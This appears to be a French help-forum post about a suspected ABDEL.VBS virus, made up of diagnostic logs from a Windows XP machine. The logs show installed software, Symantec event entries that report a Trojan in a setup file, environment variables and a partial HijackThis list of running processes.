Un virus dénomme ABDEL.VBS

info.txt logfile of random's system information tool 1.06 2009-05-19 17:01:09

======Uninstall list======

-->C:\PROGRA~1\Yahoo!\Common\UNYT_W~1.EXE
-->C:\Program Files\DivX\DivXConverterUninstall.exe /CONVERTER
-->C:\Program Files\Fichiers communs\Real\Update_OB\r1puninst.exe RealNetworks|RealPlayer|6.0
-->C:\Program Files\Nero\Nero 7\\nero\uninstall\UNNERO.exe /UNINSTALL
-->C:\WINDOWS\NuNInst.exe /UNINSTALL
-->C:\WINDOWS\UNNeroBackItUp.exe /UNINSTALL
-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{34EDB7E6-D292-44BD-8CA6-A3E33C9D7750}\setup.exe" -l0x40c
-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{63A317D0-60A6-43FC-848A-9FE4A53B29CE}\setup.exe" -l0x40c
-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{6BE926E5-66F4-4166-A5E5-E14D7A165BBD}\setup.exe" -l0x40c
-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{88B1984E-36F0-47B8-B8DC-728966807A9C}\setup.exe" -l0x40c
-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{88B1984E-36F0-47B8-B8DC-728966807A9C}\setup.exe" -l0x40c /remove
-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{A82F10CB-18B5-4EAC-AEF2-FA49CD565626}\setup.exe" -l0x40c
-->rundll32.exe setupapi.dll,InstallHinfSection DefaultUninstall 132 C:\WINDOWS\INF\PCHealth.inf
Adobe AIR-->C:\Program Files\Fichiers communs\Adobe AIR\Versions\1.0\Resources\Adobe AIR Updater.exe -arp:uninstall
Adobe AIR-->MsiExec.exe /I{A2BCA9F1-566C-4805-97D1-7FDC93386723}
Adobe Flash Player 10 ActiveX-->C:\WINDOWS\system32\Macromed\Flash\uninstall_activeX.exe
Adobe Flash Player 10 Plugin-->C:\windows\system32\Macromed\Flash\uninstall_plugin.exe
Adobe Reader 9.1 - Français-->MsiExec.exe /I{AC76BA86-7AD7-1036-7B44-A91000000001}
ArcSoft PhotoStudio 5.5-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{85309D89-7BE9-4094-BB17-24999C6118FC}\Setup.exe" -l0x9
Broadcom Gigabit Integrated Controller-->MsiExec.exe /X{FC57FC53-104C-415C-98D7-B05E659461A9}
CA Yahoo! Anti-Spy (remove only)-->"C:\Program Files\CA Yahoo! Anti-Spy\uninstall.exe"
Canon CanoScan Toolbox 4.9-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{CA9BCD4D-B782-4637-8F1F-F9A328D3C244}\setup.exe" -l0x9 anything
Canon LASER SHOT LBP-1120-->C:\windows\system32\spool\drivers\w32x86\3\CAP3UNIK.EXE
Canon LBP2900-->C:\Program Files\Canon\PrnUninstall\Canon LBP2900\CNAB4UN.EXE
Canon ScanGear Starter-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{18A5DFF2-8A95-49F3-873F-743CB5549F3D}\SETUP.EXE" -l0x9 anything
Cool DVD Player (remove only)-->"C:\Program Files\Coolsoft\Cool DVD Player\uninstall.exe"
Correctif pour Lecteur Windows Media 11 (KB939683)-->"C:\WINDOWS\$NtUninstallKB939683$\spuninst\spuninst.exe"
Correctif pour Windows XP (KB952287)-->"C:\windows\$NtUninstallKB952287$\spuninst\spuninst.exe"
Creative Live! Cam Center-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{6BE926E5-66F4-4166-A5E5-E14D7A165BBD}\setup.exe" -l0x40c /remove
Creative System Information-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{63A317D0-60A6-43FC-848A-9FE4A53B29CE}\setup.exe" -l0x40c /remove
Creative WebCam Vista/Live! Cam Chat Driver (1.11.01.00)-->C:\windows\CtDrvIns.exe -uninstall -script VF0330.uns -unsext NT -plugin V0330Pin.dll -pluginres CtCamPin.crl
Dell Resource CD-->MsiExec.exe /X{42929F0F-CE14-47AF-9FC7-FF297A603021}
DivX Codec-->C:\Program Files\DivX\DivXCodecUninstall.exe /CODEC
DivX Converter-->C:\Program Files\DivX\DivXConverterUninstall.exe /CONVERTER
DivX Player-->C:\Program Files\DivX\DivXPlayerUninstall.exe /PLAYER
DivX Plus DirectShow Filters-->C:\Program Files\DivX\DivXDSFiltersUninstall.exe /DSFILTERS
DivX Web Player-->C:\Program Files\DivX\DivXWebPlayerUninstall.exe /PLUGIN
Driver Updater Pro-->"C:\Documents and Settings\All Users\Application Data\{4439F0FD-AFAF-434D-86E2-DEB14A9C58AC}\DriverUpdaterPro.exe" REMOVE=TRUE MODIFY=FALSE
Driver Updater Pro-->C:\Documents and Settings\All Users\Application Data\{4439F0FD-AFAF-434D-86E2-DEB14A9C58AC}\DriverUpdaterPro.exe
DVD Suite-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{1FBF6C24-C1FD-4101-A42B-0C564F9E8E79}\setup.exe" -uninstall
DVDx 2.2-->"C:\Program Files\DVDx\unins000.exe"
EasyRecovery Edition Professionnelle-->C:\Program Files\Ontrack\EasyRecovery\uninstal.exe C:\Program Files\Ontrack\EasyRecovery
Extension de Windows Live Toolbar (Windows Live Toolbar)-->MsiExec.exe /X{0CA6047C-D28B-4295-834A-07C52BA20C2D}
File Scavenger 3.2-->"C:\Program Files\File Scavenger 3.2\unins000.exe"
Free Download Manager 3.0-->"C:\Program Files\Free Download Manager\unins000.exe"
Free Download Manager 3.0-->C:\Program Files\Free Download Manager\uninst.exe
Google Chrome-->"C:\Program Files\Google\Chrome\Application\1.0.154.65\Installer\setup.exe" --uninstall --system-level
Google Desktop Search-->C:\Program Files\Google\Google Desktop Search\GoogleDesktopSearchSetup.exe -uninstall
Google Toolbar for Internet Explorer-->"C:\Program Files\Google\Google Toolbar\Component\GoogleToolbarManager_BDA1448D3D255554.exe" /uninstall
Google Toolbar for Internet Explorer-->MsiExec.exe /I{18455581-E099-4BA8-BC6B-F34B2F06600C}
Google Update Helper-->MsiExec.exe /I{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}
Google Earth-->MsiExec.exe /X{548EAC70-EE00-11DD-908C-005056806466}
Guide de l'utilisateur Creative Live! Cam-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\09\01\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{34EDB7E6-D292-44BD-8CA6-A3E33C9D7750}\setup.exe" -l0x40c /remove
Handy Recovery 1.0-->C:\PROGRA~1\SOFTLO~1\HANDYR~1.0\UNWISE.EXE C:\PROGRA~1\SOFTLO~1\HANDYR~1.0\INSTALL.LOG
High Definition Audio Driver Package - KB835221-->C:\WINDOWS\$NtUninstallKB835221WXP$\spuninst\spuninst.exe
HijackThis 2.0.2-->"C:\Program Files\trend micro\HijackThis.exe" /uninstall
Hotfix for Windows Media Format 11 SDK (KB929399)-->"C:\WINDOWS\$NtUninstallKB929399$\spuninst\spuninst.exe"
hp deskjet 3420 series-->rundll32 hpzcon07.dll,VendorJettison hp deskjet 3420 series
HP Deskjet 3900 series-->C:\Program Files\HP\Digital Imaging\{3819891A-030B-4a4e-98ED-B28A649E48AB}\setup\hpzscr01.exe -datfile hpfscr05.dat
HP Document Viewer 5.3-->C:\Program Files\HP\Digital Imaging\DocumentViewer\hpzscr01.exe -datfile hpqbud04.dat
HP Extended Capabilities 5.3-->C:\Program Files\HP\Digital Imaging\ExtCapUninstall\hpzscr01.exe -datfile hpqhsc01.dat
HP Image Zone 5.3-->C:\Program Files\HP\Digital Imaging\uninstall\hpzscr01.exe -datfile hpqscr01.dat
HP Imaging Device Functions 5.3-->C:\Program Files\HP\Digital Imaging\DigitalImagingMonitor\hpzscr01.exe -datfile hpqbud01.dat
HP PSC & OfficeJet 5.3.B-->"C:\Program Files\HP\Digital Imaging\{5B79CFD1-6845-4158-9D7D-6BE89DF2C135}\setup\hpzscr01.exe" -datfile hposcr07.dat
HP Software Update-->MsiExec.exe /X{15EE79F4-4ED1-4267-9B0F-351009325D7D}
HP Solution Center & Imaging Support Tools 5.0-->C:\Program Files\HP\Digital Imaging\eSupport\hpzscr01.exe -datfile hpqbud05.dat
Imprimantes Canon CAPT-->C:\WINDOWS\system32\Spool\Drivers\w32x86\3\CAP1UNIK.EXE
Intel(R) Graphics Media Accelerator Driver-->C:\WINDOWS\system32\igxpun.exe -uninstall
Lecteur Windows Media 11-->"C:\Program Files\Windows Media Player\Setup_wm.exe" /Uninstall
LiveUpdate 3.3 (Symantec Corporation)-->"C:\Program Files\Symantec\LiveUpdate\LSETUP.EXE" /U
Manual CanoScan LiDE 25-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{C45EB9E5-7165-4FB0-8C31-77FC4743362F}\setup.exe" -l0x9
Medocs 4.5.1-->"C:\Program Files\Medocs 4.5\unins000.exe"
Menus intelligents (Windows Live Toolbar)-->MsiExec.exe /X{0CC70FEF-5068-4CD5-B4DE-86FFD98EC929}
Micro Application - MediaDICO 12-->C:\windows\IsUn040c.exe -f"C:\Program Files\Micro Application\12 DICOS Indispensables\Uninst.isu"
Microsoft .NET Framework 1.1 French Language Pack-->MsiExec.exe /X{9A394342-4A68-4EBA-85A6-55B559F4E700}
Microsoft .NET Framework 1.1-->MsiExec.exe /X{CB2F7EDD-9D1F-43C1-90FC-4F52EAE172A1}
Microsoft .NET Framework 2.0-->C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Microsoft .NET Framework 2.0\install.exe
Microsoft Compression Client Pack 1.0 for Windows XP-->"C:\WINDOWS\$NtUninstallMSCompPackV1$\spuninst\spuninst.exe"
Microsoft Encarta 2008 - Études-->MsiExec.exe /I{08181881-FCA5-44A7-B863-D66037A16AAF}
Microsoft Encarta Maths-->MsiExec.exe /I{07183840-959A-4B0D-8825-2C533F0DDB19}
Microsoft Internationalized Domain Names Mitigation APIs-->"C:\windows\$NtServicePackUninstallIDNMitigationAPIs$\spuninst\spuninst.exe"
Microsoft National Language Support Downlevel APIs-->"C:\windows\$NtServicePackUninstallNLSDownlevelMapping$\spuninst\spuninst.exe"
Microsoft Office Professional Edition 2003-->MsiExec.exe /I{9011040C-6000-11D3-8CFE-0150048383C9}
Microsoft Reader-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{B6F7DBE7-2FE2-458F-A738-B10832746036}\Setup.exe" -L0x40c
Microsoft User-Mode Driver Framework Feature Pack 1.0-->"C:\WINDOWS\$NtUninstallWudf01000$\spuninst\spuninst.exe"
Mise à jour critique pour Lecteur Windows Media 11 (KB959772)-->"C:\WINDOWS\$NtUninstallKB959772_WM11$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Lecteur Windows Media (KB952069)-->"C:\WINDOWS\$NtUninstallKB952069_WM9$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Lecteur Windows Media 11 (KB936782)-->"C:\WINDOWS\$NtUninstallKB936782_WMP11$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Lecteur Windows Media 11 (KB954154)-->"C:\WINDOWS\$NtUninstallKB954154_WM11$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB923561)-->"C:\windows\$NtUninstallKB923561$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB938464)-->"C:\windows\$NtUninstallKB938464$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB941569)-->"C:\WINDOWS\$NtUninstallKB941569$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB946648)-->"C:\windows\$NtUninstallKB946648$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB950760)-->"C:\WINDOWS\$NtUninstallKB950760$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB950762)-->"C:\windows\$NtUninstallKB950762$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB950974)-->"C:\windows\$NtUninstallKB950974$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB951066)-->"C:\windows\$NtUninstallKB951066$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB951376-v2)-->"C:\windows\$NtUninstallKB951376-v2$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB951698)-->"C:\windows\$NtUninstallKB951698$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB951748)-->"C:\windows\$NtUninstallKB951748$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB952004)-->"C:\windows\$NtUninstallKB952004$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB952954)-->"C:\windows\$NtUninstallKB952954$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB954211)-->"C:\windows\$NtUninstallKB954211$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB954600)-->"C:\windows\$NtUninstallKB954600$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB955069)-->"C:\windows\$NtUninstallKB955069$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB956572)-->"C:\windows\$NtUninstallKB956572$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB956802)-->"C:\windows\$NtUninstallKB956802$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB956803)-->"C:\windows\$NtUninstallKB956803$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB956841)-->"C:\windows\$NtUninstallKB956841$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB957097)-->"C:\windows\$NtUninstallKB957097$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB958215)-->"C:\WINDOWS\$NtUninstallKB958215$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB958644)-->"C:\windows\$NtUninstallKB958644$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB958687)-->"C:\windows\$NtUninstallKB958687$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB958690)-->"C:\windows\$NtUninstallKB958690$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB959426)-->"C:\windows\$NtUninstallKB959426$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB960225)-->"C:\windows\$NtUninstallKB960225$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB960714)-->"C:\WINDOWS\$NtUninstallKB960714$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB960715)-->"C:\WINDOWS\$NtUninstallKB960715$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB960803)-->"C:\windows\$NtUninstallKB960803$\spuninst\spuninst.exe"
Mise à jour de sécurité pour Windows XP (KB961373)-->"C:\windows\$NtUninstallKB961373$\spuninst\spuninst.exe"
Mise à jour pour Windows Internet Explorer 8 (KB968220)-->"C:\windows\ie8updates\KB968220-IE8\spuninst\spuninst.exe"
Mise à jour pour Windows XP (KB955839)-->"C:\WINDOWS\$NtUninstallKB955839$\spuninst\spuninst.exe"
Mise à jour pour Windows XP (KB967715)-->"C:\windows\$NtUninstallKB967715$\spuninst\spuninst.exe"
Module de prise en charge linguistique de Microsoft .NET Framework 2.0 - FRA-->C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Microsoft .NET Framework 2.0 Language Pack - FRA\install.exe
MSN-->C:\Program Files\MSN\MsnInstaller\msninst.exe /Action:ARP
MSXML 4.0 SP2 (KB954430)-->MsiExec.exe /I{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}
MSXML 6 Service Pack 2 (KB954459)-->MsiExec.exe /I{1A528690-6A2D-4BC5-B143-8C4AE8D19D96}
My Web Search (Zwinky)-->rundll32 C:\PROGRA~1\MYWEBS~1\bar\1.bin\mwsbar.dll,O
myBabylon_English Toolbar-->C:\PROGRA~1\MYBABY~1\UNWISE.EXE /U C:\PROGRA~1\MYBABY~1\INSTALL.LOG
Nero 7 Essentials-->MsiExec.exe /X{9B4E6CB9-E54D-47F7-A414-E2D5740E1036}
neroxml-->MsiExec.exe /I{56C049BE-79E9-4502-BEA7-9754A3E60F9B}
Netlog 24-->C:\WINDOWS\system32\Netlog24Uninstaller.exe
Netlog Music Tool-->C:\Program Files\Netlog Music Tool\Uninstaller.exe
Outil de mise à jour Google-->"C:\Program Files\Google\Google Updater\GoogleUpdater.exe" -uninstall
PowerProducer-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\engine\6\INTEL3~1\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{B7A0CE06-068E-11D6-97FD-0050BACBF861}\setup.exe" -uninstall
QuickTime Alternative 1.75-->"C:\Program Files\QuickTime Alternative\unins000.exe"
Real Alternative 1.50 Lite-->"C:\Program Files\Real Alternative\unins000.exe"
RealPlayer-->C:\Program Files\Fichiers communs\Real\Update_OB\r1puninst.exe RealNetworks|RealPlayer|6.0
Saint-Coran Toolbar-->regsvr32 /u /s "C:\Program Files\Saint-Coran Toolbar\saint-coran.dll"
Satellite TV On My PC-->C:\WINDOWS\unvise32.exe C:\Program Files\Satellite TV On My PC\uninstal.log
ScanSoft OmniPage SE 4.0-->MsiExec.exe /I{C1E693A4-B1D5-4DCD-B68D-2087835B7184}
Software Informer 1.0 BETA-->"C:\Program Files\Software Informer\unins000.exe"
SoundMAX-->RunDll32 C:\PROGRA~1\FICHIE~1\INSTAL~1\PROFES~1\RunTime\10\00\Intel32\Ctor.dll,LaunchSetup "C:\Program Files\InstallShield Installation Information\{F0A37341-D692-11D4-A984-009027EC0A9C}\setup.exe" -l0x40c -removeonly
Stock Conso 6.0.19-->"C:\Program Files\Stock Conso 6.0\unins000.exe"
SuperCopier2-->"C:\Program Files\SuperCopier2\SC2Uninst.exe"
Surligneur (Windows Live Toolbar)-->MsiExec.exe /X{81B5F83F-2291-48B0-8375-36B63A9BF5B0}
Symantec Endpoint Protection-->MsiExec.exe /I{FB8A4E30-9915-4814-ADF9-42E00D9FDC3D}
Ulead PhotoImpact 8 ESD-->C:\PROGRA~1\FICHIE~1\INSTAL~1\Driver\7\INTEL3~1\IDriver.exe /M{F101C58C-15CC-42B3-83D1-536CFB960634}
VC80CRTRedist - 8.0.50727.762-->MsiExec.exe /I{767CC44C-9BBC-438D-BAD3-FD4595DD148B}
Video Converter 3-->C:\Program Files\Xilisoft\Video Converter 3\Uninstall.exe
VLC media player 0.9.8a-->C:\Program Files\VideoLAN\VLC\uninstall.exe
VSO CopyToDVD 4-->"C:\Program Files\VSO\unins000.exe"
Windows Live Favorites pour Windows Live Toolbar-->MsiExec.exe /X{786C4AD1-DCBA-49A6-B0EF-B317A344BD66}
Windows Live installer-->MsiExec.exe /X{FD44E544-E7D0-4DBA-9FA0-8AE1A1300390}
Windows Live Mail-->MsiExec.exe /I{C514C594-23AA-4F13-A070-DB8BDB27594F}
Windows Live Messenger-->MsiExec.exe /X{BADF6744-3787-48F6-B8C9-4C4995401D65}
Windows Live Toolbar-->"C:\Program Files\Windows Live Toolbar\UnInstall.exe" {0A8C97AD-DEED-4894-B446-3ABA95A77D0D}
Windows Live Toolbar-->MsiExec.exe /X{0A8C97AD-DEED-4894-B446-3ABA95A77D0D}
Windows Live Writer-->MsiExec.exe /X{3DFF4274-EBB0-4356-9692-972965018954}
Windows Media Format 11 runtime-->"C:\Program Files\Windows Media Player\wmsetsdk.exe" /UninstallAll
Windows Media Format 11 runtime-->"C:\WINDOWS\$NtUninstallWMFDist11$\spuninst\spuninst.exe"
Windows Media Player 11-->"C:\WINDOWS\$NtUninstallwmp11$\spuninst\spuninst.exe"
Windows XP Service Pack 3-->"C:\windows\$NtServicePackUninstall$\spuninst\spuninst.exe"
WordWeb-->C:\Program Files\WordWeb\uninst.exe
XBudget 4.21-->"C:\Program Files\XBudget\unins000.exe"
XviD 1.1 final uninstall-->"C:\Program Files\XviD\unins000.exe"
Yahoo! Install Manager-->C:\windows\system32\regsvr32 /u C:\PROGRA~1\Yahoo!\Common\YINSTH~1.DLL
Yahoo! Search Protection-->C:\PROGRA~1\Yahoo!\SEARCH~1\UNINST~1.EXE
Yahoo! Software Update-->C:\PROGRA~1\Yahoo!\SOFTWA~1\UNINST~1.EXE
Yahoo! Toolbar-->C:\PROGRA~1\Yahoo!\Common\UNYT_W~1.EXE

======Security center information======

AV: Symantec Endpoint Protection

======System event log======

Computer Name: WKS-GEN-EGN-001
Event Code: 9
Message: Broadcom NetXtreme 57xx Gigabit Controller: Network controller configured for 100Mb full-duplex link.

Record Number: 6328
Source Name: b57w2k
Time Written: 20090512170116.000000+180
Event Type: Informations
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 15
Message: Broadcom NetXtreme 57xx Gigabit Controller: Driver initialized successfully.

Record Number: 6327
Source Name: b57w2k
Time Written: 20090512170116.000000+180
Event Type: Informations
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 10
Message: Ce lecteur ne semble pas prendre en charge la lecture audio numérique.

Record Number: 6326
Source Name: redbook
Time Written: 20090512170116.000000+180
Event Type: Informations
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 6005
Message: Le service d'Enregistrement d'événement a démarré.

Record Number: 6325
Source Name: EventLog
Time Written: 20090512170059.000000+180
Event Type: Informations
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 6009
Message: Microsoft (R) Windows (R) 5.01. 2600 Service Pack 3 Multiprocessor Free.

Record Number: 6324
Source Name: EventLog
Time Written: 20090512170059.000000+180
Event Type: Informations
User:

=====Application event log=====

Computer Name: WKS-GEN-EGN-001
Event Code: 51
Message:


Security Risk Found!Trojan Horse in File: f:\setup.exe by: Manual scan. Action: Clean succeeded. Action Description: The file was repaired successfully.



Record Number: 5418
Source Name: Symantec AntiVirus
Time Written: 20090512090518.000000+180
Event Type: erreur
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 46
Message:


Security Risk Found!Trojan Horse in File: f:\setup.exe by: Manual scan. Action: Clean failed : Quarantine failed. Action Description: The file was left unchanged.



Record Number: 5417
Source Name: Symantec AntiVirus
Time Written: 20090512090509.000000+180
Event Type: erreur
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 3
Message:


Scan started on selected drives and folders and all extensions.

Record Number: 5416
Source Name: Symantec AntiVirus
Time Written: 20090512090411.000000+180
Event Type: Informations
User: GEND\administrator

Computer Name: WKS-GEN-EGN-001
Event Code: 0
Message:
Record Number: 5415
Source Name: gusvc
Time Written: 20090512090349.000000+180
Event Type: Informations
User:

Computer Name: WKS-GEN-EGN-001
Event Code: 0
Message:
Record Number: 5414
Source Name: gusvc
Time Written: 20090512090249.000000+180
Event Type: Informations
User:

======Environment variables======

"ComSpec"=%SystemRoot%\system32\cmd.exe
"Path"=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Fichiers communs\DivX Shared\
"windir"=%SystemRoot%
"FP_NO_HOST_CHECK"=NO
"OS"=Windows_NT
"PROCESSOR_ARCHITECTURE"=x86
"PROCESSOR_LEVEL"=6
"PROCESSOR_IDENTIFIER"=x86 Family 6 Model 15 Stepping 13, GenuineIntel
"PROCESSOR_REVISION"=0f0d
"NUMBER_OF_PROCESSORS"=2
"PATHEXT"=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
"TEMP"=%SystemRoot%\TEMP
"TMP"=%SystemRoot%\TEMP

-----------------EOF-----------------


Logfile of random's system information tool 1.06 (written by random/random)
Run by administrator at 2009-05-19 17:00:32
Microsoft Windows XP Professionnel Service Pack 3
System drive C: has 15 GB (37%) free of 40 GB
Total RAM: 1013 MB (31% free)

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 17:01:03, on 19/05/2009
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\windows\System32\smss.exe
C:\windows\system32\csrss.exe
C:\windows\system32\winlogon.exe
C:\windows\system32\services.exe
C:\windows\system32\lsass.exe
C:\windows\system32\svchost.exe
C:\windows\system32\svchost.exe
C:\windows\System32\svchost.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe
C:\windows\system32\svchost.exe
C:\windows\system32\svchost.exe
C:\windows\system32\spoolsv.exe
C:\windows\system32\svchost.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
C:\Program Files\Google\Update\GoogleUpdate.exe
C:\Program Files\Nero\Nero 7\InCD\InCDsrv.exe
C:\windows\system32\svchost.exe
C:\Program Files\Yahoo!\SoftwareUpdate\YahooAUService.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\Rtvscan.exe
C:\windows\System32\alg.exe
C:\windows\system32\CAP3RSK.EXE
C:\windows\system32\CAPRPCSK.EXE
C:\windows\system32\CNAB4RPK.EXE
C:\windows\Explorer.EXE
C:\Program Files\Symantec\Symantec Endpoint Protection\SmcGui.exe
C:\Program Files\Analog Devices\Core\smax4pnp.exe
C:\WINDOWS\system32\igfxsrvc.exe
C:\WINDOWS\system32\hkcmd.exe
C:\WINDOWS\system32\igfxpers.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccApp.exe
C:\Program Files\ScanSoft\OmniPageSE4.0\OpwareSE4.exe
C:\Program Files\Nero\Nero 7\InCD\NBHGui.exe
C:\Program Files\Nero\Nero 7\InCD\InCD.exe
C:\Program Files\Fichiers communs\Real\Update_OB\realsched.exe
C:\PROGRA~1\MYWEBS~1\bar\1.bin\m3SrchMn.exe
C:\PROGRA~1\MYWEBS~1\bar\1.bin\mwsoemon.exe
C:\Program Files\Yahoo!\Search Protection\SearchProtection.exe
C:\windows\System32\WScript.exe
C:\Program Files\EasyPHP1-7\easyphp.exe
C:\windows\V0330Mon.exe
C:\Program Files\HP\HP Software Update\HPWuSchd2.exe
C:\windows\system32\ctfmon.exe
C:\Program Files\Microsoft Etudes\Microsoft Encarta 2008 - Études DVD\EDICT.EXE
C:\Program Files\Google\Google Desktop Search\GoogleDesktop.exe
C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe
C:\Program Files\SuperCopier2\SuperCopier2.exe
C:\Program Files\Windows Live\Messenger\msnmsgr.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Program Files\iXi Tools\Driver Updater Pro\DriverUpdaterPro.exe
C:\Program Files\Free Download Manager\fdm.exe
C:\Program Files\Software Informer\softinfo.exe
C:\WINDOWS\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\windows\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\windows\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\Program Files\Micro Application\12 DICOS Indispensables\MediaDICO12.EXE
C:\WINDOWS\system32\spool\drivers\w32x86\3\CAP3LAK.EXE
C:\WINDOWS\SYSTEM32\SPOOL\DRIVERS\W32X86\3\CAP3SWK.EXE
C:\PROGRA~1\EASYPH~1\Apache\apache.exe
C:\PROGRA~1\EASYPH~1\Apache\apache.exe
C:\Program Files\Micro Application\12 DICOS Indispensables\Rac12.EXE
C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe
C:\Program Files\WordWeb\wweb32.exe
C:\PROGRA~1\EASYPH~1\MySql\bin\mysqld.exe
C:\Program Files\HP\Digital Imaging\bin\hpqimzone.exe
C:\Program Files\HP\Digital Imaging\bin\hpqSTE08.exe
C:\Program Files\HP\Digital Imaging\Product Assistant\bin\hprblog.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files\Google\Google Desktop Search\GoogleDesktopIndex.exe
C:\Program Files\Google\Google Desktop Search\GoogleDesktopDisplay.exe
C:\Program Files\Google\Google Desktop Search\GoogleDesktopCrawl.exe
C:\Downloads\Software\rlsj91ph.exe
C:\Downloads\Software\RSIT.exe
C:\windows\system32\wbem\wmiprvse.exe
C:\Program Files\trend micro\administrator.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = https://fr.yahoo.com/?fr=fp-yie8
